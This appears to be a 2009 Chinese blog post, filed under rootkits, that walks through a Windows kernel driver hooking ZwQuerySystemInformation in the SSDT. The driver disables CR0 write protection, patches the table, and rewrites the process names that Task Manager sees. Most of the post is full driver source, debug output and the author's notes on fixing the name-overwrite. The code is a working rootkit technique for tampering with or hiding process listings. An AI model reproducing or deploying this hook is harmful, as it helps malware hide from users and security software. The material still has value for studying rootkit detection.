|
Posted on 2009-10-26 19:10 S.l.e!ep.¢% 阅读(334) 评论(0) 编辑 收藏 引用 所属分类: RootKit
[资料] http://www.cppblog.com/sleepwom/archive/2009/10/24/99375.html在 HOOK SSDT Hide Process (五) R3 已经知道 ZwQuerySystemInformation 函数用来 enum 进程 那么现在看下 R0 的HOOK 函数实现先 从致是调用回 ntdll.dll 中的 ZwQuerySystemInformation 函数,取得返回值后,再把相关的数据过滤掉 编译后运行有问题,于是乎对程序作了一下修改,主要改了 MyZwQuerySystemInformation 函数 在判断到进程的名字是 taskmgr.exe 就把它改为 haha#include "ssdthook.h"
#pragma pack(1)
typedef struct _SSDT_TABLE { PVOID ServiceTableBase; PULONG ServiceCounterTableBase; ULONG NumberOfService; ULONG ParamTableBase; }SSDT_TABLE,* PSSDT_TABLE; #pragma pack()
struct _SYSTEM_THREADS { LARGE_INTEGER KernelTime; LARGE_INTEGER UserTime; LARGE_INTEGER CreateTime; ULONG WaitTime; PVOID StartAddress; CLIENT_ID ClientIs; KPRIORITY Priority; KPRIORITY BasePriority; ULONG ContextSwitchCount; ULONG ThreadState; KWAIT_REASON WaitReason; };
//=================================================== struct _SYSTEM_PROCESSES { ULONG NextEntryDelta; ULONG ThreadCount; ULONG Reserved[6]; LARGE_INTEGER CreateTime; LARGE_INTEGER UserTime; LARGE_INTEGER KernelTime; UNICODE_STRING ProcessName; KPRIORITY BasePriority; ULONG ProcessId; ULONG InheritedFromProcessId; ULONG HandleCount; ULONG Reserved2[2]; VM_COUNTERS VmCounters; IO_COUNTERS IoCounters; //windows 2000 only struct _SYSTEM_THREADS Threads[1]; };
struct _SYSTEM_PROCESSOR_TIMES { LARGE_INTEGER IdleTime; LARGE_INTEGER KernelTime; LARGE_INTEGER UserTime; LARGE_INTEGER DpcTime; LARGE_INTEGER InterruptTime; ULONG InterruptCount; };
//====================================================== typedef NTSTATUS (__stdcall *ZWQUERYSYSTEMINFORMATION)( IN ULONG SystemInformationClass, IN PVOID SystemInformation, IN ULONG SystemInformationLength, OUT PULONG ReturnLength);
NTSTATUS MyZwQuerySystemInformation( IN ULONG SystemInformationClass, IN PVOID SystemInformation, IN ULONG SystemInformationLength, OUT PULONG ReturnLength);
//定义全局变量 extern "C" extern PSSDT_TABLE KeServiceDescriptorTable; ULONG OldAddress; ZWQUERYSYSTEMINFORMATION OldZwQuerySystemInformation; PVOID Base;
void UnHook();
VOID Unload (IN PDRIVER_OBJECT pDriverObject) { KdPrint(("Enter DriverUnload\n")); UnHook(); // mark
}
NTSTATUS MyZwQuerySystemInformation(IN ULONG SystemInformationClass, IN PVOID SystemInformation, IN ULONG SystemInformationLength, OUT PULONG ReturnLength) //定义自己的Hook函数 { NTSTATUS rc; UNICODE_STRING process_name; RtlInitUnicodeString(&process_name, L"taskmgr.exe"); rc = (OldZwQuerySystemInformation) ( SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength); if(NT_SUCCESS(rc)) { if(5 == SystemInformationClass) { struct _SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES *)SystemInformation; while(curr) { if (RtlEqualUnicodeString(&process_name, &curr->ProcessName, 1)) { DbgPrint("before %wZ\n",&process_name); RtlInitUnicodeString(&(curr->ProcessName), L"haha"); DbgPrint("after %wZ\n",&(curr->ProcessName));
} // if (RtlEqualUnicodeString(&process_name, &curr->ProcessName, 1))
if(curr->NextEntryDelta) curr = (_SYSTEM_PROCESSES *)((ULONG)curr + curr->NextEntryDelta); else curr = NULL;
} //while(curr) } // if(5 == SystemInformationClass) }// if(NT_SUCCESS(rc)) // KdPrint(("HookZwQuerySystemInformation is Succeessfully. \n")); return rc; }
VOID Hook()
{
DbgPrint("Entry Hook()\n"); OldAddress =(ULONG)KeServiceDescriptorTable->ServiceTableBase + 4*0xAd;//用windbg反汇编查到zwquerysysteminformationde的ID号是0xADh DbgPrint("KeServiceDescriptorTable->ServiceTableBase is :0x%0x\n",KeServiceDescriptorTable->ServiceTableBase); //保存原来函数的地址 OldZwQuerySystemInformation = (ZWQUERYSYSTEMINFORMATION) *(ULONG *)OldAddress; DbgPrint("OldZwQuerySystemInformation is :0x%0x\n", OldZwQuerySystemInformation); DbgPrint("MyZwQuerySystemInformation is :0x%0x\n", MyZwQuerySystemInformation); //取消内存写保护 _asm { cli mov eax,cr0 and eax,not 10000h mov cr0,eax }
*(ULONG*)OldAddress =(ULONG) MyZwQuerySystemInformation; //mark MyZwQuerySystemInformation; //还原内存写保护 _asm { mov eax,cr0 or eax,10000h mov cr0,eax sti } }
void UnHook() { ULONG Address;
Address =(ULONG) KeServiceDescriptorTable->ServiceTableBase +0xAD*4;
__asm { cli mov eax,cr0 and eax,not 10000h mov cr0,eax }
*(ULONG*)Address =(ULONG) OldZwQuerySystemInformation;
__asm { mov eax,cr0 or eax,10000h mov cr0,eax sti }
DbgPrint("Unhook leave!\n"); }
//========================驱动入口函数 extern "C" NTSTATUS DriverEntry(IN PDRIVER_OBJECT pDriverObject, IN PUNICODE_STRING pRegistryPath) {
DbgPrint("Entry Hook Function!\n"); pDriverObject->DriverUnload = Unload; Hook(); DbgPrint("Leave DriverEntry!\n"); return STATUS_SUCCESS; } 运行后, 事与愿违, 并没有显示 haha, 而是显示为空 用 DebugView 显示调试信息 Entry Hook Function! Entry Hook() KeServiceDescriptorTable->ServiceTableBase is :0x804e2d20 OldZwQuerySystemInformation is :0x8057cc27 MyZwQuerySystemInformation is :0xf8ed4080 Leave DriverEntry! before taskmgr.exe after haha
Q:为何在 taskmgr.exe 中会显示为空?疑问中 采用 HOOK SSDT Hide Process (五) 中的程序跟踪发现,taskmgr.exe 的 imagename.buffer 的地址居然是 0xb049480 这个地址显然不是应用层的地址,后果然后是不让访问了
于是改成用 memcpy
DbgPrint("before 0x%X %d %wZ\n", &(curr->ProcessName), curr->ProcessName.Length, &(curr->ProcessName)); //RtlInitUnicodeString(&(curr->ProcessName), L"fdsf"); memcpy(curr->ProcessName.Buffer, L"_root_", 12); DbgPrint("after 0x%X %d %wZ\n", &(curr->ProcessName), curr->ProcessName.Length, &(curr->ProcessName));
结果,运行成功 taskmgr.exe 的 imagename 被成功修改为 _root_r.exe
产生新的问题: Q: RtlInitUnicodeString 对 UNICODE_STRING 赋值是会同时分配缓冲区的空间?这一点查了MSDN,没看到有相关的说明 需要找时间去验证下 A: RtlInitUnicodeString() 这个函数它并不是直接去修改内存,而是重新分配一段缓冲区,而这段缓冲区在离开函数后就无效了 而用户传进来的 SystemInformation 指针,是一段连续的内存空间
Q: 用户区传进来的 SystemInformation 指针,是一段连续的内存空间,也就是说, 如果修改了 IMAGENAME 的内容,导致 原来 UNICODE_STRING.buffer 不足的话,那么需要把后面的 SystemInformation 都往后移?(这一点也需要找时间验证下) 比较保险的做法是,先执行系统的 ZwQuerySytemInformation 后,先把所有的 SystemInformation 都读出来,然后再分别写到 用户传进来的 SystemInformation 缓冲区。 A: 这个尝试过,不过蓝屏,需要找时间再仔细研究下
|